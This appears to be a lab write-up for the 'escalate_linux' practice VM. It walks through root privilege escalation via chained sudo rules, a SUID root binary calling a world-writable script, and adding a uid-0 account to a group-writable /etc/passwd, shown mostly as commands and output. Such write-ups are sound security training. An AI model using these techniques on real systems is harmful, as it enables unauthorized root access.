

# escalate\_linux

user2 -> user1 -> root

Change password of user2

```
root / home user1 passwd user2
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root / home user1
```

user2 can run any command as user1 without being prompted for password

```
user2 / var www html sudo -l
[sudo] password for user2:
Matching Defaults entries for user2 on osboxes:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user2 may run the following commands on osboxes:
    (user1) ALL
user2 / var www html
```

running /bin/sh as user1

```
user2 / var www html sudo -u user1 /bin/sh -p
$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
```

user1 can run any command as root without being prompted for password

```
$ sudo -l
Matching Defaults entries for user1 on osboxes:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user1 may run the following commands on osboxes:
    (ALL : ALL) ALL
```

priv escalation successful

```
user2 / var www html sudo -u user1 /bin/sh -p
$ sudo su
Welcome to Linux Lite 4.4

You are running in superuser mode, be very careful.

Tuesday 11 February 2020, 08:22:00
Memory Usage: 342/985MB (34.72%)
Disk Usage: 5/217GB (3%)

root / var www html
```

User3 priv escalation

change password of user3

```
root / var www html passwd user3
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root / var www html
```

user3 cant run any programs as sudo

```
user3 / var www html sudo -l
[sudo] password for user3:
Sorry, user user3 may not run sudo on osboxes.
user3 / var www html
```

a suid-ed binary, seems juicy

```

user3 ~ ls -lah
total 160K
drwxr-xr-x 22 user3 user3 4.0K Jun  4 2019 .
drwxr-xr-x 10 root  root  4.0K Jun  5 2019 ..
-rw-r--r--  1 user3 user3  124 Jun  4 2019 .asoundrc
-rw-r--r--  1 user3 user3   95 Jun  4 2019 .bash_history
-rw-r--r--  1 user3 user3  220 Jun  4 2019 .bash_logout
-rw-r--r--  1 user3 user3  949 Jun  4 2019 .bashrc
drwxr-xr-x 15 user3 user3 4.0K Jun  4 2019 .cache
drwxr-xr-x 20 user3 user3 4.0K Jun  4 2019 .config
drwxr-xr-x  3 user3 user3 4.0K Jun  4 2019 .dbus
drwxr-xr-x  2 user3 user3 4.0K Jun  4 2019 Desktop
-rw-r--r--  1 user3 user3   23 Jun  4 2019 .dmrc
drwxr-xr-x  2 user3 user3 4.0K Jun  4 2019 Documents
drwxr-xr-x  2 user3 user3 4.0K Jun  4 2019 Downloads
-rw-r--r--  1 user3 user3 9.2K Jun  4 2019 .face
drwxr-xr-x  2 user3 user3 4.0K Jun  4 2019 .gconf
drwxr-xr-x 24 user3 user3 4.0K Jun  4 2019 .gimp-2.8
-rw-r--r--  1 user3 user3    0 Jun  4 2019 .gksu.lock
drwxr-xr-x  3 user3 user3 4.0K Jun  4 2019 .gnome
drwxr-xr-x  3 user3 user3 4.0K Jun  4 2019 .gnome2
drwxr-xr-x  3 user3 user3 4.0K Jun  4 2019 .gnupg
-rw-r--r--  1 user3 user3   20 Jun  4 2019 .gtk-bookmarks
-rw-r--r--  1 user3 user3  105 Jun  4 2019 .gtkrc-2.0
-rw-----  1 user3 user3 4.6K Jun  4 2019 .ICEauthority
drwxr-xr-x  3 user3 user3 4.0K Jun  4 2019 .local
drwxr-xr-x  5 user3 user3 4.0K Jun  4 2019 .mozilla
drwxr-xr-x  2 user3 user3 4.0K Jun  4 2019 Music
drwxr-xr-x  2 user3 user3 4.0K Jun  4 2019 Pictures
-rw-r--r--  1 user3 user3  873 Jun  4 2019 .profile
drwxr-xr-x  2 user3 user3 4.0K Jun  4 2019 Public
-rwxr-xrwx  1 root  root    33 Jun  4 2019 .script.sh
-rwsr-xr-x  1 root  root  8.2K Jun  4 2019 shell

```

ltrace and readelf confirmed that

1. setuid is set to 0(root)
2. setgid is set to 0(root)
3. system() commands is run as root

```

user3 ~ cat .script.sh
echo "You Can't Find Me"
bash -i
user3 ~

```

```

user3 ~ ltrace ./shell
setuid(0)                                = -1
setgid(0)                                = -1
system("./.script.sh>You Can't Find Me
Welcome to Linux Lite 4.4 user3

Tuesday 11 February 2020, 08:33:58
Memory Usage: 340/985MB (34.52%)
Disk Usage: 5/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)

user3 ~

```

```

user3 ~ readelf -r ./shell

Relocation section '.rela.dyn' at offset 0x458 contains 8 entries:
   Offset             Info           Type           Sym. Value      Sym. Name + Addend
000000200da8  0000000000000008 R_X86_64_RELATIVE             6d0
000000200db0  0000000000000008 R_X86_64_RELATIVE             690
000000201008  0000000000000008 R_X86_64_RELATIVE            201008
000000200fd8  0001000000000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMClone + 0
000000200fe0  0003000000000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000200fe8  0004000000000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000200ff0  0006000000000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCloneTa + 0
000000200ff8  0008000000000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x518 contains 3 entries:
   Offset             Info           Type           Sym. Value      Sym. Name + Addend
000000200fc0  0002000000000007 R_X86_64_JUMP_SLO 0000000000000000 system@GLIBC_2.2.5 + 0
000000200fc8  0005000000000007 R_X86_64_JUMP_SLO 0000000000000000 setgid@GLIBC_2.2.5 + 0
000000200fd0  0007000000000007 R_X86_64_JUMP_SLO 0000000000000000 setuid@GLIBC_2.2.5 + 0

```

user4 priv escalation

change password of user4

```

root / home user5 passwd user4
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root / home user5

```

user4 is not able to run any commands as sudo

```

user6 / | home | user5 su user4
Password:
Welcome to Linux Lite 4.4 user4

Tuesday 11 February 2020, 08:41:17
Memory Usage: 338/985MB (34.31%)
Disk Usage: 5/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)

user4 / | home | user5 sudo -l
[sudo] password for user4:
Sorry, user user4 may not run sudo on osboxes.

user4 / | home | user5

```

user4 is in a group called root

```

user4 ~ Desktop id
uid=1003(user4) gid=1003(user4) groups=1003(user4),0(root)

user4 ~ Desktop

```

find files that is writable by users in the root group

```

user4 ~ Desktop find / -type f -group root -writable 2> /dev/null | head -n 30
/etc/papersize
/etc/hostname
/etc/default/keyboard
/etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
/etc/skel/.config/mimeapps.list
/etc/skel/.config/xfce4/desktop/icons.screen0-1350x721.rc
/etc/skel/.config/xfce4/panel/whiskermenu-10.rc
/etc/skel/.config/xfce4/panel/datetime-2.rc
/etc/relinux/relinux.conf
/etc/relinux/relinux/wubi/wubi.exe
/etc/relinux/relinux/isolinux/isolinux.cfg.vesamenu
/etc/relinux/relinux/splash/splash.png
/etc/relinux/relinux/version
/etc/relinux/relinux/preseed/custom.seed
/etc/passwd
/etc/timezone
/etc/fstab
/etc/passwd-
/etc/hosts

```

generate hash for a new user

```

user4 ~ Desktop openssl passwd -1 password
$1$tpa7VK.o$ey.g6R9f9/OJjquT5/8Db0

user4 ~ Desktop

```

create new user and put the generated hash

```

user9:$1$tpa7VK.o$ey.g6R9f9/OJjquT5/8Db0:::0:0:user9,,,:/home/user9:/bin/bash
"/etc/passwd" 50 lines, 2724 characters written

```

change to user9 using the su command and we are able to elevate our privileges to root

```
user4 ~ Desktop su user9
Password:
root@osboxes:/home/user4/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@osboxes:/home/user4/Desktop#
```